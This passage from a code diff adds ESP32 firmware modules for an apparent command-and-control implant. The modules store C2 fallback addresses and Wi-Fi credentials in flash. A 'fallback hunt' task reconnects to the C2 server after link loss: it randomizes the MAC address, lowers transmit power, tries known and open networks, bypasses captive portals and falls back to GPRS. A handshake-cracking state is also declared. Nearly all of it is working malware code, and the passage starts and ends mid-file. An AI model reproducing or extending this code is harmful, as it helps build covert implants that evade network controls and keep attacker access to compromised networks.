char key[16];
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
char buf[FB_PASS_MAX_LEN];
size_t len;
snprintf(key, sizeof(key), "n_%d", i);
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
snprintf(key, sizeof(key), "p_%d", i);
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy C2 fallbacks */
int32_t c2_count = 0;
nvs_get_i32(old_h, "c2_count", &c2_count);
nvs_set_i32(new_h, "c2_count", c2_count);
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
char buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(key, sizeof(key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy original MAC */
uint8_t mac[6];
size_t mac_len = 6;
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
nvs_set_blob(new_h, "orig_mac", mac, 6);
nvs_commit(new_h);
nvs_close(old_h);
nvs_close(new_h);
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
(int)old_count, (int)c2_count);
}
/* ============================================================
* Init
* ============================================================ */
void fb_config_init(void)
{
migrate_from_rt_cfg();
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Known WiFi networks
* ============================================================ */
static void net_key_ssid(int idx, char *out, size_t len)
{
snprintf(out, len, "n_%d", idx);
}
static void net_key_pass(int idx, char *out, size_t len)
{
snprintf(out, len, "p_%d", idx);
}
int fb_config_net_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_net_list(fb_network_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
char key[16];
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_network_t));
net_key_ssid(i, key, sizeof(key));
size_t len = FB_SSID_MAX_LEN;
nvs_get_str(h, key, out[i].ssid, &len);
net_key_pass(i, key, sizeof(key));
len = FB_PASS_MAX_LEN;
nvs_get_str(h, key, out[i].pass, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_net_add(const char *ssid, const char *pass)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
/* Check if SSID already exists → update */
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
net_key_pass(i, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Updated network '%s'", ssid);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
nvs_close(h);
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
return false;
}
net_key_ssid(count, key, sizeof(key));
nvs_set_str(h, key, ssid);
net_key_pass(count, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
count++;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
return true;
}
bool fb_config_net_remove(const char *ssid)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
int found = -1;
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift entries down */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16];
char buf[FB_PASS_MAX_LEN];
size_t len;
net_key_ssid(i + 1, src_key, sizeof(src_key));
net_key_ssid(i, dst_key, sizeof(dst_key));
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
net_key_pass(i + 1, src_key, sizeof(src_key));
net_key_pass(i, dst_key, sizeof(dst_key));
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
net_key_ssid(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
net_key_pass(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
return true;
}
/* ============================================================
* C2 fallback addresses
* ============================================================ */
int fb_config_c2_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_c2_addr_t));
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
size_t len = FB_ADDR_MAX_LEN;
nvs_get_str(h, key, out[i].addr, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_c2_add(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
nvs_close(h);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
nvs_close(h);
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
return false;
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)count);
nvs_set_str(h, key, addr);
count++;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
bool fb_config_c2_remove(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
int found = -1;
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
/* ============================================================
* Original MAC storage
* ============================================================ */
void fb_config_save_orig_mac(void)
{
uint8_t mac[6];
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
ESP_LOGW(TAG, "Failed to read STA MAC");
return;
}
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return;
nvs_set_blob(h, "orig_mac", mac, 6);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
bool fb_config_get_orig_mac(uint8_t mac[6])
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return false;
size_t len = 6;
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
nvs_close(h);
return (err == ESP_OK && len == 6);
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,66 @@
/*
* fb_config.h
* NVS-backed known networks + C2 fallback addresses.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
#endif
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
#define CONFIG_FB_MAX_C2_FALLBACKS 4
#endif
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
/* ============================================================
* Known WiFi networks
* ============================================================ */
typedef struct {
char ssid[FB_SSID_MAX_LEN];
char pass[FB_PASS_MAX_LEN];
} fb_network_t;
/* Init NVS namespace + migrate from old rt_cfg if needed. */
void fb_config_init(void);
bool fb_config_net_add(const char *ssid, const char *pass);
bool fb_config_net_remove(const char *ssid);
int fb_config_net_list(fb_network_t *out, int max_count);
int fb_config_net_count(void);
/* ============================================================
* C2 fallback addresses
* ============================================================ */
typedef struct {
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
} fb_c2_addr_t;
bool fb_config_c2_add(const char *addr);
bool fb_config_c2_remove(const char *addr);
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
int fb_config_c2_count(void);
/* ============================================================
* Original MAC storage (for restoration)
* ============================================================ */
void fb_config_save_orig_mac(void);
bool fb_config_get_orig_mac(uint8_t mac[6]);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,703 @@
/*
* fb_hunt.c
* Fallback hunt state machine autonomous network recovery.
* FreeRTOS task (8KB stack, Core 1).
*
* Pipeline: known networks open WiFi + captive bypass loop
* No C2 commands needed auto-triggered on TCP failure.
*/
#include "sdkconfig.h"
#include "fb_hunt.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_stealth.h"
#include "fb_captive.h"
static const char *TAG = "FB_HUNT";
#define FB_HUNT_STACK 8192
#define FB_HUNT_PRIO 6
#define FB_WIFI_TIMEOUT_MS 8000
#define FB_TCP_TIMEOUT_S 5
#define FB_RESCAN_DELAY_S 60
/* Event bits for WiFi events */
#define FB_EVT_GOT_IP BIT0
#define FB_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile fb_state_t s_state = FB_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static atomic_bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
static bool s_skip_gprs = false;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[FB_IDLE] = "idle",
[FB_STEALTH_PREP] = "stealth_prep",
[FB_PASSIVE_SCAN] = "passive_scan",
[FB_TRYING_KNOWN] = "trying_known",
[FB_TRYING_OPEN] = "trying_open",
[FB_PORTAL_CHECK] = "portal_check",
[FB_PORTAL_BYPASS] = "portal_bypass",
[FB_C2_VERIFY] = "c2_verify",
[FB_HANDSHAKE_CRACK] = "handshake_crack",
[FB_GPRS_DIRECT] = "gprs_direct",
[FB_CONNECTED] = "connected",
};
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(fb_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
return false;
}
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & FB_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(FB_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(FB_CONNECTED);
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
}
/* ============================================================
* WiFi scan
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} fb_candidate_t;
#define FB_MAX_CANDIDATES 32
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_clear_ap_list();
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
fb_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
}
/* ============================================================
* Strategy 1: Try known networks (original WiFi + NVS)
* ============================================================ */
static bool try_known_networks(void)
{
set_state(FB_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
for (int n = 0; n < net_count; n++) {
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks + captive portal bypass
* ============================================================ */
static bool try_open_networks(void)
{
set_state(FB_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(FB_PORTAL_CHECK);
fb_portal_status_t portal = fb_captive_detect();
if (portal == FB_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == FB_PORTAL_DETECTED) {
set_state(FB_PORTAL_BYPASS);
if (fb_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Hunt task main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
#ifdef CONFIG_NETWORK_WIFI
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
#endif
/* ============================================================
* WiFi lazy init (for GPRS primary mode)
* ============================================================ */
#ifdef CONFIG_FB_WIFI_FALLBACK
static bool s_wifi_inited = false;
static void ensure_wifi_init(void)
{
if (!s_wifi_inited) {
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
extern void wifi_init(void);
wifi_init();
s_wifi_inited = true;
vTaskDelay(pdMS_TO_TICKS(2000));
}
}
#endif
/* ============================================================
* Strategy 3: GPRS direct (WiFi primary mode only)
* ============================================================ */
#ifdef CONFIG_FB_GPRS_FALLBACK
static bool try_gprs_direct(void)
{
if (s_skip_gprs) {
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
return false;
}
set_state(FB_GPRS_DIRECT);
ESP_LOGI(TAG, "Trying GPRS direct connection");
setup_uart();
setup_modem();
if (!connect_gprs() || !connect_tcp()) {
close_tcp_connection();
ESP_LOGW(TAG, "GPRS direct failed");
return false;
}
mark_connected("GPRS", "gprs");
/* Mini RX loop via GPRS — stays here until hunt is stopped */
while (s_active) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
close_tcp_connection();
return false; /* Hunt was stopped externally */
}
#endif /* CONFIG_FB_GPRS_FALLBACK */
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fallback hunt task started");
#ifdef CONFIG_FB_WIFI_FALLBACK
/* In GPRS mode, WiFi may not be initialized yet */
ensure_wifi_init();
#endif
/* Save MAC before we randomize it */
fb_stealth_save_original_mac();
fb_config_save_orig_mac();
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
#ifdef CONFIG_NETWORK_WIFI
wifi_pause_reconnect();
#endif
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_FB_STEALTH
set_state(FB_STEALTH_PREP);
fb_stealth_randomize_mac();
fb_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(FB_PASSIVE_SCAN);
do_wifi_scan();
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks + captive portal ---- */
if (s_active && try_open_networks()) break;
#ifdef CONFIG_FB_GPRS_FALLBACK
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
if (s_active && try_gprs_direct()) break;
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
FB_RESCAN_DELAY_S);
set_state(FB_IDLE);
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler);
if (s_state == FB_CONNECTED) {
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_tx_power();
#endif
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_mac();
fb_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *fb_hunt_state_name(fb_state_t state)
{
if (state <= FB_CONNECTED)
return state_names[state];
return "unknown";
}
fb_state_t fb_hunt_get_state(void)
{
state_lock();
fb_state_t st = s_state;
state_unlock();
return st;
}
bool fb_hunt_is_active(void)
{
return s_active;
}
const char *fb_hunt_connected_ssid(void)
{
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *fb_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void fb_hunt_init(void)
{
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
ESP_LOGI(TAG, "Hunt init done");
}
void fb_hunt_set_skip_gprs(bool skip)
{
s_skip_gprs = skip;
}
void fb_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Ensure init (safety net if called before register_commands) */
fb_hunt_init();
s_skip_gprs = false; /* Reset per-hunt */
s_active = true;
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"fb_hunt",
FB_HUNT_STACK,
NULL,
FB_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void fb_hunt_stop(void)
{
if (!s_active) return;
s_active = false;
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
/* Only reset state if task actually exited */
if (s_task_handle == NULL) {
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
} else {
ESP_LOGW(TAG, "Hunt task did not exit in time");
}
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,65 @@
/*
* fb_hunt.h
* Fallback hunt state machine autonomous network recovery.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* Hunt states
* ============================================================ */
typedef enum {
FB_IDLE,
FB_STEALTH_PREP,
FB_PASSIVE_SCAN,
FB_TRYING_KNOWN,
FB_TRYING_OPEN,
FB_PORTAL_CHECK,
FB_PORTAL_BYPASS,
FB_C2_VERIFY,
FB_HANDSHAKE_CRACK,
FB_GPRS_DIRECT,
FB_CONNECTED,
} fb_state_t;
/* ============================================================
* API
* ============================================================ */
/* Trigger the hunt (start the state machine task if not running).
* Called automatically by WiFi.c on TCP failure. */
void fb_hunt_trigger(void);
/* Stop the hunt, restore original WiFi + MAC + TX power. */
void fb_hunt_stop(void);
/* Get current state. */
